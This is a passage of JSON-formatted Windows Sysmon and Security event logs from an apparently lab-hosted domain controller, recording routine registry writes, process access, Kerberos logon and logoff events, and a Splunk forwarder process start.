\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Wbem\\PROVIDERS\\Performance\\Performance Refreshed\r\nDetails: DWORD (0x00000001)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"Suspicious,ImageBeginWithBackslash","UtcTime":"2020-08-07 11:53:54.137","ProcessGuid":"{90617006-40C4-5F2D-0000-001077B50500}","Image":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Wbem\\PROVIDERS\\Performance\\Performance Refreshed","Details":"DWORD (0x00000001)","EventReceivedTime":"2020-08-07 11:53:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:59.434\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 912\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+b954|c:\\windows\\system32\\rpcss.dll+ce2e|c:\\windows\\system32\\rpcss.dll+a853|c:\\windows\\system32\\rpcss.dll+42269|c:\\windows\\system32\\rpcss.dll+423a2|c:\\windows\\system32\\rpcss.dll+426df|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:59.434","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"912","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+b954|c:\\windows\\system32\\rpcss.dll+ce2e|c:\\windows\\system32\\rpcss.dll+a853|c:\\windows\\system32\\rpcss.dll+42269|c:\\windows\\system32\\rpcss.dll+423a2|c:\\windows\\system32\\rpcss.dll+426df|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:59.434\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 912\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+ba7a|c:\\windows\\system32\\rpcss.dll+ce2e|c:\\windows\\system32\\rpcss.dll+a853|c:\\windows\\system32\\rpcss.dll+42269|c:\\windows\\system32\\rpcss.dll+423a2|c:\\windows\\system32\\rpcss.dll+426df|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:59.434","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"912","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+ba7a|c:\\windows\\system32\\rpcss.dll+ce2e|c:\\windows\\system32\\rpcss.dll+a853|c:\\windows\\system32\\rpcss.dll+42269|c:\\windows\\system32\\rpcss.dll+423a2|c:\\windows\\system32\\rpcss.dll+426df|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221800,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5C488\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5c488","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:54:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221801,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5C488\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51400\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5c488","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51400","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:54:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221802,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5C488\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5c488","LogonType":"3","EventReceivedTime":"2020-08-07 11:54:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.345\r\nProcessGuid: {90617006-40FC-5F2D-0000-0010BBC90500}\r\nProcessId: 4388\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.345","ProcessGuid":"{90617006-40FC-5F2D-0000-0010BBC90500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40FC-5F2D-0000-0010BBC90500}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40FC-5F2D-0000-0010BBC90500}","TargetProcessId":"4388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40FC-5F2D-0000-0010BBC90500}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40FC-5F2D-0000-0010BBC90500}","TargetProcessId":"4388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:36.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:36.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 